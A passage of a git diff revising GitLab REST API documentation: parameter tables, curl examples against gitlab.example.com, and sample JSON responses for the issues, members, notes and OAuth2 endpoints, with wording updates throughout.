-| `with_labels_details` | boolean | no | If `true`, response will return more details for each label in labels field: `:name`, `:color`, `:description`, `:description_html`, `:text_color`. Default is `false`. `description_html` Introduced in [GitLab 12.7](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21413) |
| `milestone` | string | no | The milestone title. `None` lists all issues with no milestone. `Any` lists all issues that have an assigned milestone. |
-| `scope` | string | no | Return issues for the given scope: `created_by_me`, `assigned_to_me` or `all`.<br> For versions before 11.0, use the now deprecated `created-by-me` or `assigned-to-me` scopes instead.<br> _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5. [Changed to snake_case](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18935) in GitLab 11.0)_ |
-| `author_id` | integer | no | Return issues created by the given user `id`. Mutually exclusive with `author_username`. Combine with `scope=all` or `scope=assigned_to_me`. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5)_ |
-| `author_username` | string | no | Return issues created by the given `username`. Similar to `author_id` and mutually exclusive with `author_id`. |
-| `assignee_id` | integer | no | Return issues assigned to the given user `id`. Mutually exclusive with `assignee_username`. `None` returns unassigned issues. `Any` returns issues with an assignee. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5)_ |
-| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE `assignee_username` array should only contain a single value or an invalid parameter error will be returned otherwise. |
| `my_reaction_emoji` | string | no | Return issues reacted by the authenticated user by the given `emoji`. `None` returns issues not given a reaction. `Any` returns issues given at least one reaction. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/14016) in GitLab 10.0)_ |
-| `weight` **(STARTER)** | integer | no | Return issues with the specified `weight`. `None` returns issues with no weight assigned. `Any` returns issues with a weight assigned. |
+| `not` | Hash | no | Return issues that do not match the parameters supplied. Accepts: `labels`, `milestone`, `author_id`, `author_username`, `assignee_id`, `assignee_username`, `my_reaction_emoji`, `search`, `in` |
| `order_by` | string | no | Return issues ordered by `created_at`, `updated_at`, `priority`, `due_date`, `relative_position`, `label_priority`, `milestone_due`, `popularity`, `weight` fields. Default is `created_at` |
-| `sort` | string | no | Return issues sorted in `asc` or `desc` order. Default is `desc` |
+| `scope` | string | no | Return issues for the given scope: `created_by_me`, `assigned_to_me` or `all`.<br> For versions before 11.0, use the now deprecated `created-by-me` or `assigned-to-me` scopes instead.<br> _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13004) in GitLab 9.5. [Changed to snake_case](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18935) in GitLab 11.0)_ |
| `search` | string | no | Search project issues against their `title` and `description` |
-| `created_after` | datetime | no | Return issues created on or after the given time |
-| `created_before` | datetime | no | Return issues created on or before the given time |
+| `sort` | string | no | Return issues sorted in `asc` or `desc` order. Default is `desc` |
+| `state` | string | no | Return all issues or just those that are `opened` or `closed` |
| `updated_after` | datetime | no | Return issues updated on or after the given time |
| `updated_before` | datetime | no | Return issues updated on or before the given time |
-| `confidential` | boolean | no | Filter confidential or public issues. |
-| `not` | Hash | no | Return issues that do not match the parameters supplied. Accepts: `labels`, `milestone`, `author_id`, `author_username`, `assignee_id`, `assignee_username`, `my_reaction_emoji`, `search`, `in` |
-| `due_date` | string | no | Return issues that have no due date (`0`) or whose due date is this week, this month, between two weeks ago and next month, or which are overdue. Accepts: `0` (no due date), `overdue`, `week`, `month`, `next_month_and_previous_two_weeks`. _(Introduced in [GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/233420))_ |
+| `weight` **(STARTER)** | integer | no | Return issues with the specified `weight`. `None` returns issues with no weight assigned. `Any` returns issues with a weight assigned. |
+| `with_labels_details` | boolean | no | If `true`, the response returns more details for each label in labels field: `:name`, `:color`, `:description`, `:description_html`, `:text_color`. Default is `false`. `description_html` was introduced in [GitLab 12.7](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21413) |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/4/issues"
@@ -517,7 +527,7 @@ Example response:
]
```
-Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see
+Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see
the `weight` parameter:
```json
@@ -531,7 +541,7 @@ the `weight` parameter:
]
```
-Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) will also see
+Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) can also see
the `health_status` parameter:
```json
@@ -545,15 +555,181 @@ the `health_status` parameter:
]
```
-**Note**: `assignee` column is deprecated, now we show it as a single-sized array `assignees` to conform to the GitLab EE API.
+NOTE: **Note:**
+The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API.
-**Note**: The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value will only be present for issues which were closed after GitLab 10.6 and when the user account that closed the issue still exists.
+NOTE: **Note:**
+The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed
+the issue still exists.
## Single issue
+Only for administrators. Get a single issue.
+
+The preferred way to do this is by using [personal access tokens](../user/profile/personal_access_tokens.md).
+
+```plaintext
+GET /issues/:id
+```
+
+| Attribute | Type | Required | Description |
+|-------------|---------|----------|--------------------------------------|
+| `id` | integer | yes | The ID of the issue |
+
+```shell
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/issues/41"
+```
+
+Example response:
+
+```json
+{
+ "id" : 1,
+ "milestone" : {
+ "due_date" : null,
+ "project_id" : 4,
+ "state" : "closed",
+ "description" : "Rerum est voluptatem provident consequuntur molestias similique ipsum dolor.",
+ "iid" : 3,
+ "id" : 11,
+ "title" : "v3.0",
+ "created_at" : "2016-01-04T15:31:39.788Z",
+ "updated_at" : "2016-01-04T15:31:39.788Z",
+ "closed_at" : "2016-01-05T15:31:46.176Z"
+ },
+ "author" : {
+ "state" : "active",
+ "web_url" : "https://gitlab.example.com/root",
+ "avatar_url" : null,
+ "username" : "root",
+ "id" : 1,
+ "name" : "Administrator"
+ },
+ "description" : "Omnis vero earum sunt corporis dolor et placeat.",
+ "state" : "closed",
+ "iid" : 1,
+ "assignees" : [{
+ "avatar_url" : null,
+ "web_url" : "https://gitlab.example.com/lennie",
+ "state" : "active",
+ "username" : "lennie",
+ "id" : 9,
+ "name" : "Dr. Luella Kovacek"
+ }],
+ "assignee" : {
+ "avatar_url" : null,
+ "web_url" : "https://gitlab.example.com/lennie",
+ "state" : "active",
+ "username" : "lennie",
+ "id" : 9,
+ "name" : "Dr. Luella Kovacek"
+ },
+ "labels" : [],
+ "upvotes": 4,
+ "downvotes": 0,
+ "merge_requests_count": 0,
+ "title" : "Ut commodi ullam eos dolores perferendis nihil sunt.",
+ "updated_at" : "2016-01-04T15:31:46.176Z",
+ "created_at" : "2016-01-04T15:31:46.176Z",
+ "closed_at" : null,
+ "closed_by" : null,
+ "subscribed": false,
+ "user_notes_count": 1,
+ "due_date": null,
+ "web_url": "http://example.com/my-group/my-project/issues/1",
+ "references": {
+ "short": "#1",
+ "relative": "#1",
+ "full": "my-group/my-project#1"
+ },
+ "time_stats": {
+ "time_estimate": 0,
+ "total_time_spent": 0,
+ "human_time_estimate": null,
+ "human_total_time_spent": null
+ },
+ "confidential": false,
+ "discussion_locked": false,
+ "_links": {
+ "self": "http://example.com/api/v4/projects/1/issues/2",
+ "notes": "http://example.com/api/v4/projects/1/issues/2/notes",
+ "award_emoji": "http://example.com/api/v4/projects/1/issues/2/award_emoji",
+ "project": "http://example.com/api/v4/projects/1"
+ },
+ "task_completion_status":{
+ "count":0,
+ "completed_count":0
+ },
+ "weight": null,
+ "has_tasks": false,
+ "_links": {
+ "self": "http://gitlab.dummy:3000/api/v4/projects/1/issues/1",
+ "notes": "http://gitlab.dummy:3000/api/v4/projects/1/issues/1/notes",
+ "award_emoji": "http://gitlab.dummy:3000/api/v4/projects/1/issues/1/award_emoji",
+ "project": "http://gitlab.dummy:3000/api/v4/projects/1"
+ },
+ "references": {
+ "short": "#1",
+ "relative": "#1",
+ "full": "gitlab-org/gitlab-test#1"
+ },
+ "subscribed": true,
+ "moved_to_id": null,
+ "epic_iid": null,
+ "epic": null
+}
+```
+
+Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see
+the `weight` parameter:
+
+```json
+{
+ "project_id" : 4,
+ "description" : "Omnis vero earum sunt corporis dolor et placeat.",
+ "weight": null,
+ ...
+}
+```
+
+Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) can also see
+the `epic` property:
+
+```javascript
+{
+ "project_id" : 4,
+ "description" : "Omnis vero earum sunt corporis dolor et placeat.",
+ "epic": {
+ "epic_iid" : 5, //deprecated, use `iid` of the `epic` attribute
+ "epic": {
+ "id" : 42,
+ "iid" : 5,
+ "title": "My epic epic",
+ "url" : "/groups/h5bp/-/epics/5",
+ "group_id": 8
+ },
+ // ...
+}
+```
+
+NOTE: **Note:**
+The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform
+to the GitLab EE API.
+
+NOTE: **Note:**
+The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042).
+This value is only present for issues closed after GitLab 10.6 and if the user account
+that closed the issue still exists.
+
+NOTE: **Note:**
+The `epic_iid` attribute is deprecated, and [will be removed in version 5](https://gitlab.com/gitlab-org/gitlab/-/issues/35157).
+Please use `iid` of the `epic` attribute instead.
+
+## Single project issue
+
Get a single project issue.
-If the project is private or the issue is confidential, credentials will need to be provided for authorization.
+If the project is private or the issue is confidential, you need to provide credentials to authorize.
The preferred way to do this, is by using [personal access tokens](../user/profile/personal_access_tokens.md).
```plaintext
@@ -653,7 +829,7 @@ Example response:
}
```
-Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see
+Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see
the `weight` parameter:
```json
@@ -665,7 +841,7 @@ the `weight` parameter:
}
```
-Users on GitLab [Premium](https://about.gitlab.com/pricing/) will additionally see
+Users on GitLab [Premium](https://about.gitlab.com/pricing/) can also see
the `epic` property:
```javascript
@@ -684,8 +860,8 @@ the `epic` property:
}
```
-Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) will also additionally see
-the `health_status` property:
+Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) can also see the `health_status`
+property:
```json
[
@@ -698,11 +874,15 @@ the `health_status` property:
]
```
-**Note**: `assignee` column is deprecated, now we show it as a single-sized array `assignees` to conform to the GitLab EE API.
+NOTE: **Note:**
+The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API.
-**Note**: The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value will only be present for issues which were closed after GitLab 10.6 and when the user account that closed the issue still exists.
+NOTE: **Note:**
+The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed
+the issue still exists.
-**Note**: The `epic_iid` attribute is deprecated and [will be removed in version 5](https://gitlab.com/gitlab-org/gitlab/-/issues/35157).
+NOTE: **Note:**
+The `epic_iid` attribute is deprecated and [will be removed in version 5](https://gitlab.com/gitlab-org/gitlab/-/issues/35157).
Please use `iid` of the `epic` attribute instead.
## New issue
@@ -716,17 +896,17 @@ POST /projects/:id/issues
| Attribute | Type | Required | Description |
|-------------------------------------------|----------------|----------|--------------|
| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
-| `iid` | integer/string | no | The internal ID of the project's issue (requires admin or project owner rights) |
+| `iid` | integer/string | no | The internal ID of the project's issue (requires administrator or project owner rights) |
| `title` | string | yes | The title of an issue |
| `description` | string | no | The description of an issue. Limited to 1,048,576 characters. |
| `confidential` | boolean | no | Set an issue to be confidential. Default is `false`. |
| `assignee_ids` | integer array | no | The ID of the user(s) to assign the issue to. |
| `milestone_id` | integer | no | The global ID of a milestone to assign issue |
| `labels` | string | no | Comma-separated label names for an issue |
-| `created_at` | string | no | Date time string, ISO 8601 formatted, for example `2016-03-11T03:45:40Z` (requires admin or project/group owner rights) |
+| `created_at` | string | no | Date time string, ISO 8601 formatted, for example `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) |
| `due_date` | string | no | Date time string in the format YEAR-MONTH-DAY, for example `2016-03-11` |
-| `merge_request_to_resolve_discussions_of` | integer | no | The IID of a merge request in which to resolve all issues. This will fill the issue with a default description and mark all discussions as resolved. When passing a description or title, these values will take precedence over the default values.|
-| `discussion_to_resolve` | string | no | The ID of a discussion to resolve. This will fill in the issue with a default description and mark the discussion as resolved. Use in combination with `merge_request_to_resolve_discussions_of`. |
+| `merge_request_to_resolve_discussions_of` | integer | no | The IID of a merge request in which to resolve all issues. This fills out the issue with a default description and mark all discussions as resolved. When passing a description or title, these values take precedence over the default values.|
+| `discussion_to_resolve` | string | no | The ID of a discussion to resolve. This fills out the issue with a default description and mark the discussion as resolved. Use in combination with `merge_request_to_resolve_discussions_of`. |
| `weight` **(STARTER)** | integer | no | The weight of the issue. Valid values are greater than or equal to 0. |
| `epic_id` **(PREMIUM)** | integer | no | ID of the epic to add the issue to. Valid values are greater than or equal to 0. |
| `epic_iid` **(PREMIUM)** | integer | no | IID of the epic to add the issue to. Valid values are greater than or equal to 0. (deprecated, [will be removed in version 5](https://gitlab.com/gitlab-org/gitlab/-/issues/35157)) |
@@ -796,7 +976,7 @@ Example response:
}
```
-Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see
+Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see
the `weight` parameter:
```json
@@ -808,7 +988,7 @@ the `weight` parameter:
}
```
-Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) will also see
+Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) can also see
the `health_status` parameter:
```json
@@ -822,9 +1002,12 @@ the `health_status` parameter:
]
```
-**Note**: `assignee` column is deprecated, now we show it as a single-sized array `assignees` to conform to the GitLab EE API.
+NOTE: **Note:**
+The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API.
-**Note**: The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value will only be present for issues which were closed after GitLab 10.6 and when the user account that closed the issue still exists.
+NOTE: **Note:**
+The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed
+the issue still exists.
## Rate limits
@@ -853,7 +1036,7 @@ PUT /projects/:id/issues/:issue_iid
| `add_labels` | string | no | Comma-separated label names to add to an issue. |
| `remove_labels`| string | no | Comma-separated label names to remove from an issue. |
| `state_event` | string | no | The state event of an issue. Set `close` to close the issue and `reopen` to reopen it |
-| `updated_at` | string | no | Date time string, ISO 8601 formatted, for example `2016-03-11T03:45:40Z` (requires admin or project owner rights). Empty string or null values are not accepted.|
+| `updated_at` | string | no | Date time string, ISO 8601 formatted, for example `2016-03-11T03:45:40Z` (requires administrator or project owner rights). Empty string or null values are not accepted.|
| `due_date` | string | no | Date time string in the format YEAR-MONTH-DAY, for example `2016-03-11` |
| `weight` **(STARTER)** | integer | no | The weight of the issue. Valid values are greater than or equal to 0. 0 |
| `discussion_locked` | boolean | no | Flag indicating if the issue's discussion is locked. If the discussion is locked only project members can add or edit comments. |
@@ -932,7 +1115,7 @@ Example response:
}
```
-Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see
+Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see
the `weight` parameter:
```json
@@ -944,7 +1127,7 @@ the `weight` parameter:
}
```
-Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) will also see
+Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) can also see
the `health_status` parameter:
```json
@@ -965,7 +1148,8 @@ NOTE: **Note:**
`assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API.
NOTE: **Note:**
-The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value will only be present for issues which were closed after GitLab 10.6 and when the user account that closed the issue still exists.
+The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed
+the issue still exists.
## Delete an issue
@@ -997,9 +1181,9 @@ PUT /projects/:id/issues/:issue_iid/reorder
| Attribute | Type | Required | Description |
|-------------|---------|----------|--------------------------------------|
| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
-| `issue_iid` | integer | yes | The internal ID of a project's issue |
-| `move_after_id` | integer | no | The ID of a projet's issue to move this issue after |
-| `move_before_id` | integer | no | The ID of a projet's issue to move this issue before |
+| `issue_iid` | integer | yes | The internal ID of the project's issue |
+| `move_after_id` | integer | no | The ID of a project's issue that should be placed after this issue |
+| `move_before_id` | integer | no | The ID of a project's issue that should be placed before this issue |
```shell
curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/4/issues/85/reorder?move_after_id=51&move_before_id=92"
@@ -1009,10 +1193,10 @@ curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab
Moves an issue to a different project. If the target project
equals the source project or the user has insufficient permissions to move an
-issue, error `400` together with an explaining error message is returned.
+issue, status code `400` and an error message is returned.
-If a given label and/or milestone with the same name also exists in the target
-project, it will then be assigned to the issue that is being moved.
+If a given label or milestone with the same name also exists in the target
+project, it's then assigned to the issue being moved.
```plaintext
POST /projects/:id/issues/:issue_iid/move
@@ -1099,7 +1283,7 @@ Example response:
}
```
-Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see
+Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see
the `weight` parameter:
```json
@@ -1111,7 +1295,7 @@ the `weight` parameter:
}
```
-Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) will also see
+Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) can also see
the `health_status` parameter:
```json
@@ -1125,9 +1309,12 @@ the `health_status` parameter:
]
```
-**Note**: `assignee` column is deprecated, now we show it as a single-sized array `assignees` to conform to the GitLab EE API.
+NOTE: **Note:**
+The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API.
-**Note**: The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value will only be present for issues which were closed after GitLab 10.6 and when the user account that closed the issue still exists.
+NOTE: **Note:**
+The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed
+the issue still exists.
## Subscribe to an issue
@@ -1219,7 +1406,7 @@ Example response:
}
```
-Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see
+Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see
the `weight` parameter:
```json
@@ -1231,9 +1418,12 @@ the `weight` parameter:
}
```
-**Note**: `assignee` column is deprecated, now we show it as a single-sized array `assignees` to conform to the GitLab EE API.
+NOTE: **Note:**
+The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API.
-**Note**: The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value will only be present for issues which were closed after GitLab 10.6 and when the user account that closed the issue still exists.
+NOTE: **Note:**
+The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed
+the issue still exists.
## Unsubscribe from an issue
@@ -1306,10 +1496,10 @@ Example response:
}
```
-## Create a todo
+## Create a to-do
-Manually creates a todo for the current user on an issue. If
-there already exists a todo for the user on that issue, status code `304` is
+Manually creates a to-do for the current user on an issue. If
+there already exists a to-do for the user on that issue, status code `304` is
returned.
```plaintext
@@ -1418,9 +1608,12 @@ Example response:
}
```
-**Note**: `assignee` column is deprecated, now we show it as a single-sized array `assignees` to conform to the GitLab EE API.
+NOTE: **Note:**
+The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API.
-**Note**: The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value will only be present for issues which were closed after GitLab 10.6 and when the user account that closed the issue still exists.
+NOTE: **Note:**
+The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed
+the issue still exists.
## Set a time estimate for an issue
@@ -1538,7 +1731,7 @@ Example response:
## Get time tracking stats
-If the project is private or the issue is confidential, credentials will need to be provided for authorization.
+If the project is private or the issue is confidential, you need to provide credentials to authorize.
The preferred way to do this, is by using [personal access tokens](../user/profile/personal_access_tokens.md).
```plaintext
@@ -1569,7 +1762,7 @@ Example response:
Get all the merge requests that are related to the issue.
-If the project is private or the issue is confidential, credentials will need to be provided for authorization.
+If the project is private or the issue is confidential, you need to provide credentials to authorize.
The preferred way to do this, is by using [personal access tokens](../user/profile/personal_access_tokens.md).
```plaintext
@@ -1726,19 +1919,19 @@ Example response:
## List merge requests that will close issue on merge
-Get all the merge requests that will close issue when merged.
+Get all the merge requests that will close an issue when merged.
-If the project is private or the issue is confidential, credentials will need to be provided for authorization.
+If the project is private or the issue is confidential, you need to provide credentials to authorize.
The preferred way to do this, is by using [personal access tokens](../user/profile/personal_access_tokens.md).
```plaintext
GET /projects/:id/issues/:issue_iid/closed_by
```
-| Attribute | Type | Required | Description |
-| --------- | ---- | -------- | ----------- |
-| `id` | integer | yes | The ID of a project |
-| `issue_iid` | integer | yes | The internal ID of a project issue |
+| Attribute | Type | Required | Description |
+| ----------- | ---------------| -------- | ---------------------------------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](./README.md#namespaced-path-encoding) owned by the authenticated user |
+| `issue_iid` | integer | yes | The internal ID of a project issue |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/issues/11/closed_by"
@@ -1804,7 +1997,7 @@ Example response:
## Participants on issues
-If the project is private or the issue is confidential, credentials will need to be provided for authorization.
+If the project is private or the issue is confidential, you need to provide credentials to authorize.
The preferred way to do this, is by using [personal access tokens](../user/profile/personal_access_tokens.md).
```plaintext
diff --git a/doc/api/job_artifacts.md b/doc/api/job_artifacts.md
index 5df7915ad5c..458877d6548 100644
--- a/doc/api/job_artifacts.md
+++ b/doc/api/job_artifacts.md
@@ -14,7 +14,7 @@ GET /projects/:id/jobs/:job_id/artifacts
|-------------|----------------|----------|-------------------------------------------------------------------------------------------------------------------------------------------------|
| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
| `job_id` | integer | yes | ID of a job. |
-| `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/triggers/README.md#when-a-pipeline-depends-on-the-artifacts-of-another-pipeline-premium) for multi-project pipelines. It should be invoked only inside `.gitlab-ci.yml`. Its value is always `$CI_JOB_TOKEN`. |
+| `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/triggers/README.md#when-a-pipeline-depends-on-the-artifacts-of-another-pipeline) for multi-project pipelines. It should be invoked only inside `.gitlab-ci.yml`. Its value is always `$CI_JOB_TOKEN`. |
Example request using the `PRIVATE-TOKEN` header:
@@ -74,7 +74,7 @@ Parameters
| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
| `ref_name` | string | yes | Branch or tag name in repository. HEAD or SHA references are not supported. |
| `job` | string | yes | The name of the job. |
-| `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/triggers/README.md#when-a-pipeline-depends-on-the-artifacts-of-another-pipeline-premium) for multi-project pipelines. It should be invoked only inside `.gitlab-ci.yml`. Its value is always `$CI_JOB_TOKEN`. |
+| `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/triggers/README.md#when-a-pipeline-depends-on-the-artifacts-of-another-pipeline) for multi-project pipelines. It should be invoked only inside `.gitlab-ci.yml`. Its value is always `$CI_JOB_TOKEN`. |
Example request using the `PRIVATE-TOKEN` header:
diff --git a/doc/api/markdown.md b/doc/api/markdown.md
index 4e5c8515126..e382ca6b7c8 100644
--- a/doc/api/markdown.md
+++ b/doc/api/markdown.md
@@ -20,8 +20,8 @@ POST /api/v4/markdown
| Attribute | Type | Required | Description |
| --------- | ------- | ------------- | ------------------------------------------ |
| `text` | string | yes | The Markdown text to render |
-| `gfm` | boolean | no (optional) | Render text using GitLab Flavored Markdown. Default is `false` |
-| `project` | string | no (optional) | Use `project` as a context when creating references using GitLab Flavored Markdown. [Authentication](README.md#authentication) is required if a project is not public. |
+| `gfm` | boolean | no | Render text using GitLab Flavored Markdown. Default is `false` |
+| `project` | string | no | Use `project` as a context when creating references using GitLab Flavored Markdown. [Authentication](README.md#authentication) is required if a project is not public. |
```shell
curl --header Content-Type:application/json --data '{"text":"Hello world! :tada:", "gfm":true, "project":"group_example/project_example"}' "https://gitlab.example.com/api/v4/markdown"
diff --git a/doc/api/members.md b/doc/api/members.md
index 90c36a0b822..76d63b277c4 100644
--- a/doc/api/members.md
+++ b/doc/api/members.md
@@ -81,9 +81,10 @@ Example response:
## List all members of a group or project including inherited members
-Gets a list of group or project members viewable by the authenticated user, including inherited members through ancestor groups.
-When a user is a member of the project/group and of one or more ancestor groups the user is returned only once with the project `access_level` (if exists)
-or the `access_level` for the user in the first group which they belong to in the project groups ancestors chain.
+Gets a list of group or project members viewable by the authenticated user, including inherited members and permissions through ancestor groups.
+
+CAUTION: **Caution:**
+Due to [an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/249523), the users effective `access_level` may actually be higher than returned value when listing group members.
This function takes pagination parameters `page` and `per_page` to restrict the list of users.
diff --git a/doc/api/merge_requests.md b/doc/api/merge_requests.md
index 4798145e837..faefc445210 100644
--- a/doc/api/merge_requests.md
+++ b/doc/api/merge_requests.md
@@ -2085,10 +2085,10 @@ the `approvals_before_merge` parameter:
}
```
-## Create a todo
+## Create a to-do
-Manually creates a todo for the current user on a merge request.
-If there already exists a todo for the user on that merge request,
+Manually creates a to-do for the current user on a merge request.
+If there already exists a to-do for the user on that merge request,
status code `304` is returned.
```plaintext
diff --git a/doc/api/milestones.md b/doc/api/milestones.md
index 7b4d1cc331d..7b26dbadad4 100644
--- a/doc/api/milestones.md
+++ b/doc/api/milestones.md
@@ -52,7 +52,8 @@ Example Response:
"start_date": "2013-11-10",
"state": "active",
"updated_at": "2013-10-02T09:24:18Z",
- "created_at": "2013-10-02T09:24:18Z"
+ "created_at": "2013-10-02T09:24:18Z",
+ "expired": false
}
]
```
diff --git a/doc/api/notes.md b/doc/api/notes.md
index 3a68454507a..aaff28757bb 100644
--- a/doc/api/notes.md
+++ b/doc/api/notes.md
@@ -12,7 +12,8 @@ assignee changes, there will be a corresponding system note).
## Resource events
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/38096) in GitLab 13.3 for state, milestone, and weight events.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/38096) in GitLab 13.3 for state, milestone, and weight events.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40850) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.4 for iteration events.
Some system notes are not part of this API, but are recorded as separate events:
@@ -20,6 +21,7 @@ Some system notes are not part of this API, but are recorded as separate events:
- [Resource state events](resource_state_events.md)
- [Resource milestone events](resource_milestone_events.md)
- [Resource weight events](resource_weight_events.md) **(STARTER)**
+- [Resource iteration events](resource_iteration_events.md) **(STARTER)**
## Notes pagination
diff --git a/doc/api/oauth2.md b/doc/api/oauth2.md
index cc8b31ecf17..5fbb7913ff4 100644
--- a/doc/api/oauth2.md
+++ b/doc/api/oauth2.md
@@ -61,7 +61,7 @@ The web application flow is:
include the GET `code` parameter, for example:
```plaintext
- http://myapp.com/oauth/redirect?code=1234567890&state=YOUR_UNIQUE_STATE_HASH
+ https://example.com/oauth/redirect?code=1234567890&state=YOUR_UNIQUE_STATE_HASH
```
You should then use `code` to request an access token.
@@ -72,7 +72,7 @@ The web application flow is:
```ruby
parameters = 'client_id=APP_ID&client_secret=APP_SECRET&code=RETURNED_CODE&grant_type=authorization_code&redirect_uri=REDIRECT_URI'
- RestClient.post 'http://gitlab.example.com/oauth/token', parameters
+ RestClient.post 'https://gitlab.example.com/oauth/token', parameters
```
Example response:
@@ -125,7 +125,7 @@ will include a fragment with `access_token` as well as token details in GET
parameters, for example:
```plaintext
-http://myapp.com/oauth/redirect#access_token=ABCDExyz123&state=YOUR_UNIQUE_STATE_HASH&token_type=bearer&expires_in=3600
